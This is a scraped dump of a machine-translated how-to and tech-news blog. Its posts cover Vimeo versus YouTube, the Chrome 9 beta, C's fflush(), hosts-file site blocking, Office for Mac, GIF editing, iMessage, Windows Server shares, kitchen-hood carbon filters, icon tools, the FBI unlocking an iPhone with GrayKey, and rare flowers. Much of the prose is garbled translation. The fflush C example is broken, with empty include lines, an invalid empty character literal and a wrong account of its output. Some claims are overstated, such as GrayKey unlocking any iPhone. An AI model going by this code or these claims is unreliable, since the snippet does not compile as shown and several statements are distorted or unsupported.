too active and works in a way that 'kills more than misses'. Even if you are authorized to use a certain piece of music, you will still have to go through censorship rounds to restore the audio. Things are not the same for Vimeo. 5. Vimeo boasts unique features and customizations If you are not interested in any of the above, here are some practical advantages to using Vimeo instead of YouTube. In terms of ability and flexibility, Vimeo beats YouTube in many ways.\n Vimeo boasts unique features and customizations Replace the video but keep the URL : This is one of the best features of Vimeo. You can replace any of your existing videos with a new video that uploads without losing the URL, thus keeping all likes, comments, statistics, and without breaking any embedded content. may exist on third party websites. Password protection : You can set a password on any video so that only people with a password can view it. YouTube does not have this feature, only allows videos in Public, Private or Unlisted mode . Embed domain limits : Vimeo lets you set which domains are allowed to embed videos and you can do this on a per-video basis. This way, you can hide your videos on the Vimeo website and make them viewable only on your site. Branding web player : Vimeo allows you to change the look of the HTML5 web player by inserting your own logo and brand, which is great for embedding videos on webpages, while YouTube videos are always embedded look the same and end up with unsightly proposal pages. Advanced analytics : Depending on your subscription level, you can get different levels of analysis, starting with the traffic dashboard and custom reports, to interactive charts and products. Google Analytics integration. Monetize per view : Vimeo On Request allows you to create dedicated VOD sites where viewers can pay to watch videos. You can sell content worldwide or only in certain countries and keep 90% of the revenue. This is a convenient way to make money from work without advertising. Plus, Pro, Business, Premiu packages : Unlike YouTube, Vimeo is sponsored by the community, not the advertisers. You can use Vimeo for free, but the free account is limited to 500MB uploads per week. Vimeo Plus costs $ 7 / month, Pro costs $ 20 / month, Business is $ 50 / month and Vimeo Premium is $ 75 / month. ncG1vNJzZmismaXArq3KnmWcp51ksLC5z5qpnmWmnrqmu4yapZ1lqaTCtcHBng%3D%3D\n","link":"/post/compare-vimeo-and-youtube/","section":"post","tags":null,"title":"Compare Vimeo and Youtube"},{"body":"Less than 2 weeks after the release of the Chrome 7.0 official version, almost simultaneously with the 8.0 version, Google now makes many people feel ' dizzy ' as they continue to release the first beta version. of Chrome 9.0.\nRarely do any browsers have the speed to develop and launch new versions as fast as Chrome. Google has announced that every 6 weeks, the company will release different versions of Chrome. With each launch, Chrome will be able to fix the errors encountered in previous versions as well as provide new improvements in functionality and speed.\nOnly less than 2 weeks ago, almost simultaneously, Google released the official version of Chrome 7.0, and soon the test version of 8.0. And it seems that it is not enough to ' stun ' the tech world, Google has now launched the first beta version of Chrome 9.0, even if version 8.0 has not yet released a beta test. .\n  Google Chrome 9.0 in addition to the fixes available in previous versions, the technology and analysts predict that the processing speed of this version will be faster . 60 times compared to Firefox 3.6, thanks to the ability to support Speed ​​up graphics processing with hardware. This feature has also been integrated in Firefox 4.0 Beta and a trial version of Internet Explorer 9.0.\nDownload Chrome (including version 8.0, 9.0 installed and portable) here.\nThe first impression when using the Chrome 9.0 is the speed of web surfing and outstanding processing, faster than the current version of web browser. In particular, Javascript benchmarking scores achieved quite high results.\n  Evaluate JavaScript processing speed of Chrome 9.0\nGoogle 9 also allows users to use instant search ( Instant Search ), which helps Chrome display Google search page content as soon as you type in the address or search content in the address bar. For example, you can simply type Go, immediately the content of the Google search page related to the keyword \" Go \" will be displayed.\n  To activate this feature, click on the setting icon in the right corner of Chrome, select \"Option\". In the \"Google Chorme Options\" dialog box that appears, at the \"Basic\" tab, \"Search\" section, check the \" Enable Instant for faster searching and browsing\" option , then click the \"OK\" button in the following dialog box. there.\n  In addition, Google Chrome also allows users to pre-test new features that Google intends to integrate into their browsers in future versions to get user feedback, before deciding to use them. or not.\nTo enable / remove a new feature on Chrome 9, type about: flags in the address bar. The list of features that are still in the testing process appears, here you can choose to enable / disable these features.\nSeveral outstanding new features are being tested:\n- Side Tabs : allows you to bring open tab bar to the left of Chrome window, instead of above it as default. To change the location of tabs, right-click on the tab and select \"Use side tabs\".\n- Tabbed Settings : display the Settings interface right inside the new tab, instead of displaying in a separate window as default.\n- Disabled outdated plug-ins : automatically disabling overdue plugins that appear security holes, and providing the latest updated version of that plugin.\n- XSS Auditor : Enable user protection to avoid the possibility of being attacked when mistakenly accessing websites that contain malicious code. This feature enhances the security of the browser, but is not compatible with all websites.\n- Accelerated Canvas 2D GPU : while hardware acceleration acceleration features for 3D graphics objects are enabled by default, the same features for 2D objects need to be activated by hand.\nWith the constant release of Chrome, it was revealed that Google was determined to take the lead in the battle for market share in the web browser. It is not known whether Google will take the lead in the tough ' browser battle ', but it is certain that it will lead the race . release the version.\nncG1vNJzZmismaXArq3KnmWcp51ksrm8xKugnqaTmnq1tMRmnaKqo6l6tb7ImqNmp5ZitLC7xqWcZpuYp7yusYxyZw%3D%3D\n","link":"/post/experience-the-first-trial-of-google-chrome-9-0/","section":"post","tags":null,"title":"Experience the first trial of Google Chrome 9.0"},{"body":"The int fflush function (FILE * stream) in Library C flushes the output buffer of a Stream.\nDeclare the function fflush () in C Below is the declaration for fflush () function in C:\nint fflush ( FILE * stream )  Parameters\nstream - This is a pointer to a FILE object that identifies a Stream buffered.\nReturns the value\nThis function returns a value of 0 if successful. If there is an error, the EOF is returned and the Error Indicator is set (feof example).\nFor example\nThe following C program illustrates the usage of the fflush () function in C:\n#include #include int main () { char buff [ 1024 ]; memset ( buff , '' , sizeof ( buff )); fprintf ( stdout , \"Chuan bi buffern\" ); setvbuf ( stdout , buff , _IOFBF , 1024 ); fprintf ( stdout , \"Hoc C co ban va nang cao tai QTM !!!n\" ); fprintf ( stdout , \"Ket qua nay se duoc demn\" ); fflush ( stdout ); return ( 0 ); }  Compiling and running the above program will produce the following results. Here, the program still buffers the output into the buff until it encounters the first call to the fflush () function, then it starts buffering output.\nAccording to Tutorialspoint\nPrevious lesson: ferror () function in C\nNext lesson: Function fgetpos () in C\nncG1vNJzZmismaXArq3KnmWcp51ks7a6wq2gqKZdm7OtwdKhZKKmXZg%3D\n","link":"/post/function-fflush-in-c/","section":"post","tags":null,"title":"Function fflush () in C"},{"body":"Have you ever wanted to block a website that you hate, like Yahoo? Nevertheless, have you ever wanted to block any website? If so, this article can help you do so. Search Google for 'chrome web store'.\nMethod 1of 2:\nUsing Blocksi in Google Chrome  Search Google for \"chrome web store\".\n  Search the store for \"blocksi\" \n  Select the choice named: \"Blocksi - Web filtering and parental control\"\n  Install the extension (you will need a Google account for this). A new tab will open with the settings page.\n  Select the \"URL Filter\" tab.\n  Enter the domain of \"https://www.yahoo.com\" in the text field. Select \"block\" from the drop-down. Then click \"Add\".\n  Save your settings and close out of the tab. You have successfully blocked \"yahoo.com\" from Google Chrome\n Method 2of 2:\nBlocking for the Entire System (Windows 7/8/8.1) Your system account must have administrator's privileges.  Search your PC for %systemdrive%/windows/system32/drivers/etc \n  Right-click on hosts and select \"Open-with\", then choose \"Notepad\" \n  After the last line in the document, enter 127.0.0.1, followed by the website that you want to block. For example, a blocking of Yahoo would equal: 127.0.0.1 yahoo.com\n  Save the file. You have successfully blocked Yahoo.com\n  Marvin Fry Update 24 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpqcpLCsedian6in\n","link":"/post/how-to-block-yahoo/","section":"post","tags":null,"title":"How to Block Yahoo!"},{"body":" This wikiHow teaches you how to download and install your copy of Microsoft Office on a Mac computer. You must have either purchased a Microsoft Office subscription or received a download invitation from an Office 365 owner to do so. Open...\nPart 2of 3:\nDownloading via an Invitation  Open the invitation email. Go to the email inbox in which you received your Office invitation, then click the email that contains the invitation.\n  Click Accept. It's a button in the invitation email. Your Microsoft Account page will open.\n  Log into your Microsoft Account. If you aren't logged into your Microsoft Account, enter your email address and password before proceeding. If you don't have a Microsoft Account, you can click Create one! below the Next button and then follow the on-screen prompts to create a Microsoft account.   Click Install. This is on the invitation page.\n  Follow any additional on-screen prompts. You may be asked to click Install once more before the file will download, and your browser may require you to specify a download location or confirm the download before Office will begin downloading. Once Office finishes downloading, you can proceed with installing Office.\n  Micah Soto Update 05 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpyfrLutu8CdZKahk6e8tLvFrWSonpaesKZ5xaipZqWRmA%3D%3D\n","link":"/post/how-to-download-microsoft-office-for-mac/","section":"post","tags":null,"title":"How to Download Microsoft Office for Mac"},{"body":"GIFs are made by a lot of people today and they are uploaded to a shared hosting platform for all to use. However, editing Gif is difficult because it is an animation format and requires specialized tools to handle it.\n1. Edit GIF images in Photoshop Photoshop is a variety of Bitmap image editing software and Gif files that work stably in Photoshop.\nStep 1: First, right-click the Gif file and choose Open With -\u0026gt; Adobe Photoshop to open it.\n  Step 2: At the main interface of Photoshop, choose Windows -\u0026gt; Timeline to see each Frames (frames) of the Gif file.\n  Step 3: Then you select the frame you want to edit under the Timeline bar and select the necessary tools for editing available in Photoshop (similar to editing images).\nIn this case, the Software Wizard will draw a few small shapes, so choose the Brush tool (brush).\n  Step 4: When editing is complete, choose File -\u0026gt; Export and choose Save for Web (Legacy)… to export.\n  Step 5: Window Save for Web appears, you keep the parameters and click Save to finish.\n  MiniTool MovieMaker is a completely free software and powerful support in editing GIF images.\nDownload MiniTool MovieMaker here\nStep 1: First you need to open the MiniTool MovieMaker software and select Import Media Files to add Gif files into the system.\n  Step 2: Then you drag the Gif file from the data warehouse to the Timeline bar to start working.\n  Step 3: During the work, you can fast forward to the position (Frames - frames) you want to edit to add text.\n  Step 4: Next you choose the Text tool and choose the text effect you want to use.\n  Step 5: You proceed to enter the text and change the font format (color, size, font .) to use.\n  Step 6: Once done, choose Export to export the Gif file.\n  Step 7: Then just choose Export and you 're done.\n  3. Edit GIFs Online Gif image is a format with many unique characteristics, so it seems that we can not interfere with the content, what we can interfere with Gif images is only insert text. Currently there are many platforms that support Gif editing, but Filmora tools are always appreciated.\nStep 1: You proceed to use Filmora's homepage here to use.\nStep 2: At the main interface of Filmora, drag the GIF file you need to edit into the system.\n  Step 3: The first piece of content we need to edit is the size, you in turn click on the corners of the frame to adjust the content to display.\nAfter you adjust the size, Crop the Gif image, click OK to continue.\n  Step 4: When you have finished cutting the Gif image, the main interface of Filmora software will appear. You in turn click on the dialog box to write the text content you want to display on the Gif image.\nTo change the position of the text, you click on the text in the Gif image and drag them to move to where you want.\n  Step 4: If you want to create more text box boxes, click Add Text Box .\n  Step 5: After completing the text, you proceed to change the format for the text. On Filmora you can change the formats as follows:\nFont Change the color of the text Align left / right / center for text Text size / Bold text   Step 6: However, when you change the color of the text, you have to click Confirm to change the color.\n  Step 7: After completing the editing, you click Create to proceed to export Gif images after editing.\n  Step 8: The processing will take 1-3 minutes, depending on the size of your gif files.\n  Step 9: After the software is finished, you click Download to proceed to download the edited Gif on your computer.\n  Good luck !\nedit GIF images GIF images ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp2UnsFus8ifqg%3D%3D\n","link":"/post/how-to-edit-gifs/","section":"post","tags":null,"title":"How to edit GIFs"},{"body":"Android device users are always jealous of iOS device users because of the extremely popular iMessage and Facetime iOS platform. iMessage is an Internet-based messaging tool that comes pre-installed on iPhones and iOS devices from the Apple home. On iMessage there are many useful features and extremely convenient for users, but it is only for those who use the iOS platform.\n  1. How to turn on iMessage on iPhone By default, iMessage on iPhone is not activated, when activating iMessage, you will be charged for the first time (about VND 3,000). After activation, the next use will not cost you any fee. If you remove the Sim from iPhone, the next time you install the Sim you will have to reactivate, so you should limit the SIM removal on the iPhone to avoid losing much money to activate iMessage.\nYou proceed to open Settings and select the Message section . After that, you activate iMessage startup is complete, iMessage will automatically activate with the phone number of the Sim installed on your iPhone.\n  2. How to text with iMessage iMessage \"only\" can send and receive messages to people who turn on the iMessage feature on their device. So, those who do not use iPhone, do not turn on iMessage will not be able to receive / send iMessage messages.\nYou proceed to open the Messaging application on your phone and select New Message . Then, enter the name / phone number you want to send iMessage. Those who can send / receive iMessage messages will display in \" blue \" and those who only receive normal SMS messages will display in \" green \". Please select the people who display the color \" blue \" to send iMessage.\n  When you select the people who send messages with iMessage, in the Enter text of the message it will display the word iMessage and the message interface is in \"blue\". You can now enter your content and send it to others.\n  3. Some features of iMessage iMessage provides a wide range of messaging effects for users. After you finish typing the message, please hold down the  Send button to select the effects.\nFirst, we have the Bubble effects for the text message. You can choose the mode you want, when the recipient opens the message they will see the same as you see.\n  After that, you can select the Screen tab (left / right to select effects). When the reader opens the message they will see these effects along with the message content.\n  Once the message has been sent, you can reply to the message by tapping and holding the message. You can express your emotions so that the recipient of the message in the conversation can see it.\n  In addition, on iMessage you can attach photos, applications, payment cards, emoticons . It will be similar to the current online messaging applications such as Zalo, Facebook Messenger, .\n  In this article, Software Tips guide you how to use iMessage on iPhone most effectively and optimally. Have a nice day!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq2jmnqqucSsqpqflWK8r3nIqZ%2BoppU%3D\n","link":"/post/how-to-use-imessage-on-iphone/","section":"post","tags":null,"title":"How to use iMessage on iPhone"},{"body":"Another important service in Windows Server is file sharing and for this purpose, Windows Server 2012 has File and Storage Services , found in Server Manager in the left pane as shown in the figure below.\n  Now let's see how to create a Share in the system with its corresponding permissions. To do this, follow the steps below.\nStep 1 - Click Server Manager , then click File and Storage Services in Server Manager. Click Shares. Click on the Shares list , then click New Share.\n  \nStep 2 - This will open the New Share Wizard . From here, select a share type you want. The example will create a very basic SMB share, so click SMB Share - Quick . You can then configure user rights in this section.\n  Step 3 - Click on ' Type a custom path ', then click the Browse button .\n  \nStep 4 - Select the folder you want to share and click Select Folder.\n  \nStep 5 - Click Next.\n  \nStep 6 - You can choose one of three options according to your needs. Explanations will appear after selecting options. Click Next.\n  \nStep 7 - Click Customize Permissions to allow the permissions that users need.\n  Step 8 - Click Add if you want to add other users.\n  Step 9 - Select Select a principal .\n  Step 10 - You should provide the permissions that can be done by entering the object name. That is Backup Operator in this case and then click OK.\n  \nStep 11 - Users in this example will have ReadWrite permissions, select the corresponding options and then click OK\u0026gt; OK\u0026gt; Next.\n  \nStep 12 - Click Create.\n  \nSee more:\nHow to configure and adjust WSUS in Windows Server 2012 How to install WSUS in Windows Server 2012 How to create a virtual machine in Windows Server 2012 ncG1vNJzZmismaXArq3KnmWcp51kuaat0adkmpqfqsFussilnGaZnpl6tMDOq5ignV2osrPCyJycrGWZo3q4tc2dprCrXaiys8LEq2RraGFn\n","link":"/post/learn-about-file-and-storage-services-in-windows-server-2012/","section":"post","tags":null,"title":"Learn about File and Storage Services in Windows Server 2012"},{"body":"The focus that Microsoft is targeting is small and medium businesses (SMBs). Statistics of the company Redmond show that small and medium-sized businesses are the ones most affected by security breaches in the past few years, due to the lack of appropriate software to protect safety. for your network.\nBuilt as an all-in-one security solution, Microsoft Defender for Business is expected to provide enterprise-class endpoint customers with a stable, consistent, and easy-to-deploy security engine. This involves every aspect of security, from traditional malware and virus protection to modern threats like ransomware. With that comes advanced detection and response capabilities.\n'With Defender for Business, SMBs will be protected with a multi-layered, five-stage detection and response system under the National Institute of Standards and Technology (NIST) cybersecurity framework: Identify, protect, detect, respond, and recover,\" Microsoft said.\n  In addition, Defender for Business also comes with built-in policies to help customers quickly establish a suitable security barrier, by continuously detecting and automatically remediating various threats. All are automated.\nCompared to the regular Microsoft Defender (the version that comes with Windows), this new version aimed at small and medium businesses doesn't come with a free license. Customers can choose to purchase independently for $3 per user. But on the other hand, Microsoft Defender for Business is also part of Microsoft 365 Business Premium.\nMicrosoft Defender ncG1vNJzZmismaXArq3KnmWcp51kuqqv0aiqqJ6kYrGmssSnm56qXZu8s3nBrqqippWowG64wK6lnKCVmXqurcino7JlkZ66prCMmqtmrJiaerS5wKWjZpmemXquscOirKZlkqrAqrrErKpmm5%2Biura6yK2w\n","link":"/post/microsoft-defender-for-business-launched-mainly-aimed-at-the-small-and-medium-business-community/","section":"post","tags":null,"title":"Microsoft Defender for Business launched, mainly aimed at the small and medium business community"},{"body":"Hoods are often equipped with activated carbon filters to help remove odors, food odors in the kitchen space effectively. However, how long does a hood hood need to replace activated carbon? This is a question that users are very interested in. Please take a quick look at the following article to replace activated carbon at the right time to bring the smelling effect to the machine better.\nWhat are activated carbon hoods? Activated carbon is a form of carbon made from one of the raw materials such as coal, wood, coconut shells, rice husks, bamboo . and is designed in many different forms such as powder, crumb or compressed form.\nThis activated carbon is activated under high temperature in anaerobic environment to create porous, hollow structure that increases the contact surface area for adsorption or chemical reaction.\n  How often should you replace activated carbon for the hood? In the process of use if you turn on the hood in the largest capacity but find that the ability to absorb odors is no longer as good as the smell still remains or only reduce a part, it is necessary to replace activated carbon. Because at this time activated carbon appeared signs of saturation, the circuit structure inside activated carbon filled the odor molecules, activated carbon was no longer able to deodorize effectively. If you try to use it, you only need to use electricity.\n  The saturation time of activated carbon will depend on the frequency of using each household's hood. On average, saturated activated carbon is used after 6 months, 9 months or 12 months.\nHowever, if after 12 months of use, the hood is still capable of effectively absorbing odors, you should still replace activated carbon to ensure the durability of the hood and use it to save more energy.\n  What should be considered when replacing activated carbon for the hood? The activated carbon on the market is sold a lot but does not know which quality is guaranteed. So you should buy at reputable sales addresses. Where to buy a hood, buy activated carbon there.\nTo find out if activated carbon is of good quality, you can try the following: Get 1 cup of hot water and drop a bit of activated carbon. If there is a lot of air bubbles, this is a good coal and if you don't have any bubbles or bubbles, you should choose another coal.\n  Steps to replace new activated carbon for hoods:\nStep 1: You need to power off the hood, then unplug the hood from the power source.\nStep 2: Open the filter net and take the activated carbon filter out.\nStep 3: Blister filter for activated carbon is divided into 2 types:\nWith blister filter 2-sided design made of hard plastic you just need to open the latch, separate the 2 sides of the adapter, empty all the old activated carbon. After washing the filter blister, wipe the water dry with a clean towel. When the filter is dry, proceed to pour the new activated carbon, install the 2-sided blister filter and place the activated carbon filter in the correct position of the hood. With filters with 1 plastic surface, 1 face with cloth, you need to use scissors to cut the fabric, pour out all the old activated carbon, wash the cloth layer, dry. When the fabric is completely dry, pour the activated carbon, paste the 2 sides of the plastic and the filter cloth with tape and then install the filter again. Step 4: Plug the power plug of the hood into the electrical outlet and turn on the engine start, proceed to smoke the smell. If the machine works well, it smells good, you have successfully installed and replaced activated carbon.\nStep 5: After 3 months of use, remove the filter blisters and soak them in hot water to dissolve grease and oil, release the odor molecules on the filter blister to provide better smelling effect.\nAfter this article, you know when you need to replace activated carbon for the hood. The steps to carry out activated carbon replacement are extremely simple.\nWhere to buy a hood with deodorizing feature with activated carbon? If you need to buy a hood with deodorizing feature with activated carbon, you can refer to the information on Website META.vn. This is the official dealer specializing in selling hoods of reputable brands such as Faber hoods, Sunhouse hoods, Electrolux hoods, Bosch hoods .\nSmoke hood sold on META.vn is genuine, quality, smooth running, strong suction capacity, to meet the demand for every kitchen of families.\nIf you need further advice on how to choose the suction capacity for the hood, please contact: Hanoi: 024.3568.6969 or Ho Chi Minh: 028.3833.3366 for the fastest support.\nncG1vNJzZmismaXArq3KnmWcp51kwKm71KWbZqFdmLWiusaeZK2glWKupMDIr5itnZRisKK%2BwailZqeWYsGpsYyhpqic\n","link":"/post/should-i-change-the-activated-carbon-of-the-hood/","section":"post","tags":null,"title":"Should I change the activated carbon of the hood?"},{"body":"Icon is a small image used for different applications, programs or websites. If you want to create an icon, you can use Adobe Photoshop because this is the best way to create an icon. However, Adobe Photoshop is a heavy program, and the process of creating icons with this software is very time consuming. If you want to find a tool to save you time, you have come to the right place. Below is a list of the best software and website icons. You can create icons from scratch or convert simple images into icon formats. Save it in PNG or ICO format and at other standard sizes.\nThe best free icon creation tools The best free icon creation software 1. Efiresoft Image to Icon Converter 2. IconMaker 3. Free Icon Maker 4. SimplyIcon 5. Image 2 Icon Converter 6. ImagiCon 7. Clockmaker Icon Generator 8. XnView 9. IconMaster 10. IcoFX Portable Edition 11. Falco Icon Studio 12. Junior Icon Editor 13. Iconion  Best free icon creation website 1. E-mail Icon Generator 2. Makeappicon.com 3. Iconizeme.com 4. FavIcon Generator 5. Favicon-generator.org 6. Launcher Icon Generator 7. Pic2Icon.com 8. RealWorld Icon Editor 9. Picture To People  The best free icon creation software 1. Efiresoft Image to Icon Converter https://www.softpedia.com/get/Multimedia/Graphic/Image-Convertors/Efiresoft-Image-to-Icon-Converter.shtml    With Efiresoft Image to Icon Converter, you can convert ordinary images into icons and personalize shortcuts for applications, folders and files. It supports GIF, BMP, JPG, PNG and ICO files. Add images to the main frame to convert by drag and drop. You can edit output icon settings, choose size, color.\nHow to convert images from JPG, PNG to ICO and vice versa 2. IconMaker https://www.softpedia.com/get/PORTABLE-SOFTWARE/Multimedia/Graphics/Inedo-Icon-Maker.shtml    IconMaker is a comprehensive application that allows converting images in GIF, JPG, ICO or PNG format into icons by selecting the size, editing pixels. The software can easily convert regular image formats into icons. IconMaker's user-friendly layout contains important tools arranged in the left part of the main window. Use the four preview frames to see the original, transparent, transparent image icons.\nYou can choose the icon size from 16x16 to 256x256, work with editing tools like zoom, selection tool, transparent brush and dropper. The software can also create pointers using unique dedicated options.\n3. Free Icon Maker https://www.softpedia.com/get/Desktop-Enhancements/Icons-Related/Free-Icon-Maker.shtml    Create simple icons with the help of an intuitive and simple program like Free Icon Maker. This software is useful for designers who want to create website icons and programs themselves. Its neat and intuitive interface is minimalistic, providing limited functionality and functionality.\nTo create a new icon, click the Create New Ico button to select the size in pixels. You can choose available sizes or enter custom height or width values. In addition, users can also open existing and edited ICO files with interesting tools like Eraser, Pen and Color Picker. You can even create icons with multiple layers and forms of different sizes.\n4. SimplyIcon Download SimplyIcon for Windows SimplyIcon is a simple program that allows to create automatic icons with dimensions of 16x16, 24x24, 32x32. Create Windows icon file (ICO format) by dragging and dropping images into the working environment. In addition, this software can create 128x128 size if the original image is larger than or equal to 128x128. If you want to use SimplyIcon properly, you should install the .NET Framework on the system. It has fast response time and no harm to computer performance.\n5. Image 2 Icon Converter Download Image 2 Icon Converter for Windows   Image 2 Icon Converter is the choice for those who want to convert images into icons. To convert, you need to select the image you want to convert and click the Convert button. If you want to convert multiple images, you can do it at the same time by simply selecting a group of photos and performing a batch conversion.\n6. ImagiCon Download ImagiCon for Windows ImagiCon is very easy to use software to convert large amounts of files to and from ICO, PNG, BMP and JPG image formats. ImagiCon's intuitive interface has a small window for adding photos using drag and drop options. In the Options menu, you can select the output format, quality and file name.\nIn addition, users can convert images by using the pixel size or slider to adjust the size, white or black filter, flip vertically or horizontally, modify icon settings related to transparency , size. You also have the option to change the background color of the icon with this tool.\n7. Clockmaker Icon Generator https://www.softpedia.com/get/Desktop-Enhancements/Icons-Related/Clockmaker-Icon-Generator.shtml  Clockmaker Icon Generator is a handy and reliable icon creation program. You can create Web 2.0 or CS3 icons by three-step process: select colors, enter characters and save. The program helps you create icons with four different sizes. Creating an icon is a simple process with Clockmaker Icon Generator, but you need to download Adobe AIR to work with this icon creation software.\n8. XnView Download XnView for Windows   XnView is a simple application that allows users to view images as well as convert and organize them easily. The interface of the application is highly customizable and easy to understand. You can open multiple photos at once by tab. The application's context menu allows users to batch convert, rename, delete or copy to specific folders, send photos to friends via email, tag, rate, set as wallpaper, etc. You have Can convert images from one format to another and support common image formats like PNG, JPEG, BMP, and TIFF.\n9. IconMaster https://www.softpedia.com/get/Desktop-Enhancements/Icons-Related/Icon-Master.shtml  IconMaster is an effective application that converts BMP images into icons for your computer and corrects transparency, size and color range. It provides a simple way to convert ordinary images into 24-bit icons. To make the conversion result more beautiful, you need to adjust some parameters after opening the BMP file.\nThe simple and neat interface allows users to select icon sizes with three options including 16x16, 32x32 and 48x48 with 16 color ranges, 256 colors, 24 bits and 16 bits.\n10. IcoFX Portable Edition https://www.softpedia.com/get/PORTABLE-SOFTWARE/Multimedia/Graphics/Windows-Portable-Applications-IcoFX-Portable-Edition.shtml    IcoFX Portable Edition is a professional icon and cursor editing software, providing support for Windows and Mac icons. It helps create favicon and extract icon from image. This is portable software so you don't need to install it just run it. The interface is similar to the standard graphics editing program.\nIn addition, you can select colors from the palette, flip or rotate images, zoom in, zoom out, preview the results. Users can apply different effects and adjust the contrast, brightness, saturation, opacity, color balance, shadow, image size and others. Create Window icon or cursor, copy image, change interface language, use batch processing feature, display tips when starting is also one of the capabilities of this software.\n11. Falco Icon Studio Download Falco Icon Studio for Windows   Falco Icon Studio is a simple program to create images and save them in ICO or GIF format. Then, you can upload them as avatars of the forum. This neat and clean program is very useful for creating, editing and managing icons. It can use many popular image formats to save multiple icons of different sizes and all color systems.\nFalco Icon Studio supports a comprehensive working environment for new graphic producers and professional designers to create interesting icons for application programs, software products, games, etc.\n12. Junior Icon Editor https://www.softpedia.com/get/Multimedia/Graphic/Graphic-Editors/Junior-Icon-Editor.shtml    Junior Icon Editor is a user-friendly program that allows you to create icons from scratch or create a new icon from an existing image. It has a set of functions that help create a new icon by specifying colors and sizes. Junior Icon Editor provides many editing tools that allow inserting rectangles, lines, rounded rectangles and ellipses.\nYou can choose colors for each object, draw curves and arcs, use the color picker, brush, pencil and eraser and set the transparency of the image. Users can zoom in or out, undo actions, rotate or flip images, perform basic editing tasks and save edited icons into various formats such as XBM, XPM, ICO and PNG. Use hotkeys to better control and view file attributes such as name, source file, format and file size.\n13. Iconion Download Iconion for Windows Iconion is a reliable program that allows creating complex icons by using predefined options. You can apply different image editing tools like borders or shadows to add complexity to the icon. Set a gradient for the icon to increase its color variety and elegance. Turn the icon to a specific angle to turn the square icon into a diamond shape.\nAdjust the transparency and opacity of the image accordingly and save it as PNG. Program to save the final design in JPG, BMP and PNG format. Iconion uses vector-based models to save the icon into 32px or 1024px standard without losing quality.\nSome online photo resize services Best free icon creation website 1. E-mail Icon Generator https://services.nexodyne.com/email/index.php    This online tool allows you to create beautiful email icons from your address. It creates icons for many email service providers like Gmail, Yahoo !, MSN, Hotmail, etc.\nTop free email services 2. Makeappicon.com   MakeAppicon is an online tool for creating powerful icons for iOS and Android applications. It allows users to resize, optimize icons in various formats, sizes for mobile applications.\n3. Iconizeme.com   If you want to create personal icons, Iconize ME is a great online tool for you. Personal icons look unique when used on social networks and blogs.\n4. FavIcon Generator http://tools.dynamicdrive.com/favicon/    FavIcon Generator is the ideal online tool to create your favorite icon for web pages from images. The tool allows downloading image files and selecting output formats like GIF, JPG, PNG and BMP.\n5. Favicon-generator.org   This tool allows you to download images in GIF, JPEG or PNG format and convert it into ICO format. Users can use it to create icons for websites as well as icons for iOS, Microsoft and Android applications.\n6. Launcher Icon Generator https://romannurik.github.io/AndroidAssetStudio/icons-launcher.html    This online tool comes from Android Asset Studio to help create web icons for Android apps. You can create icons from images or text. In addition, Launcher Icon Generator offers many features to choose colors, shapes, backgrounds and effects.\n7. Pic2Icon.com   Pic2Icon is a free icon creation tool and provides tons of features to apply effects to your icons. In addition, it also provides tools for converting icon formats and creating icons for Windows 10, 7, Windows XP and Iphone, iPad icons.\n8. RealWorld Icon Editor http://www.rw-designer.com/3D_icon_editor.php    This online tool allows you to create icons from many image file formats. RealWorld Icon Editor provides features to create icons from 3D models.\n9. Picture To People http://www.picturetopeople.org/logos/generator/3d-tech-social-icon-logo-generator.html    Picture To People is an online place to create logos and 3D icons. This tool allows mobile application developers to create logos and 3D icons for websites, merchants and software products.\nncG1vNJzZmismaXArq3KnmWcp51kwamxjJucrKxdm7%2BmsYyimqimXZi%2Fpq3ToqanZaSkvK2%2F\n","link":"/post/the-best-free-icon-creation-tools/","section":"post","tags":null,"title":"The best free icon creation tools"},{"body":"When investigating a case in late 2019, among the items the FBI seized was an iPhone 11 Pro Max. According to the report, the FBI successfully cracked that 11 Pro Max without the help of Apple.\nAccording to lawyer Ameer Mabjish, Baris Ali Koch - owner of the iPhone 11 Pro Max does not provide a password and is not forced to unlock with Face ID. The FBI used a third-party device called GrayKey to crack and retrieve data from the iPhone 11 Pro Max.\nGrayKey is a special device that can unlock any iPhone manufactured by the company Grayshift. Since 2018, this device has been sold with law enforcement agencies for investigation.\nHowever, just last week, the FBI, even the Justice Department and President Donald Trump, asked Apple to assist in unlocking the shooters' iPhone 5 and iPhone 7 in December 2019. But Apple refused.\nThe puzzling thing is why the FBI is 'giving up' before iPhone 5 and iPhone 7 when it is possible to crack iPhone 11 Pro Max.\nMany believe that this is a conspiracy theory, the Department of Justice and President Donald Trump want to create a backdoor with access to all other Apple devices.\nBut there is another opinion that the FBI and the Justice Department cannot crack iPhone 5 and iPhone 7 is real.\nPerhaps, the GrayKey device cannot crack old iPhones with older iOS versions but only new iPhones with high iOS operating systems. The iPhone 5 and iPhone 7 are old iPhones.\nWhatever the reason, Apple will certainly not yield to the FBI in this regard.\nScientists have created the world's first unbreakable encryption chip, including quantum computers Successfully breaking iCloud on iPhone with checkra1n tool ncG1vNJzZmismaXArq3KnmWcp51kwamxjJ%2BZomWjqrCksdKsna6knK56pL7AnKKenF2Wu261z6Gmp51dZn5uvNGoZKaZqA%3D%3D\n","link":"/post/the-fbi-successfully-cracked-an-iphone-11-pro-max/","section":"post","tags":null,"title":"The FBI successfully cracked an iPhone 11 Pro Max"},{"body":"The 10 flowers below are not only beautiful but they are also extremely rare flowers. You will be surprised to know that some flowers only have a few individuals in the world. If you have the opportunity to admire these beautiful flowers, you are indeed a lucky person.\n1. Flower Jade Vine - Tiger's nail flower Jade Vine flowers originate from the Philippines, the scientific name is Strongylodon macrobotrys, belonging to the legume family.\n  In Vietnam, they are often called tiger nails or marble flowers. Belonging to the legume family, the Jade Vine trunk can be more than 18m long, the blue flowers have beautiful long claws.\nIn the natural environment, Jade Vine is only pollinated by bats and very few plants can flower normally.\n2. Flower Champion   Champion flowers are only found in Gibraltar. In 1992, scientists assumed that the Champion flower was extinct until a climber discovered a single flower on the cliffs around Gibraltar in 1994.\n3. Chocolate marigold - Cosmos atrosanguineus   Can only be found in Mexico, this flower has been thought to be extinct in nature for over 100 years. But luckily, these rare flowers are found again.\nThis marigold has a chocolate-like color and aroma, 3-4cm in diameter.\n4. Flower parrot - Lotus berthelotii   In 1884, parrot flowers were classified into the extremely rare flower group of the world. This flower was once considered extinct, but fortunately some specimens were discovered in their homeland, the Canary Islands. Currently, parrots are grown and bred in laboratories only.\n5. Kokai cookei   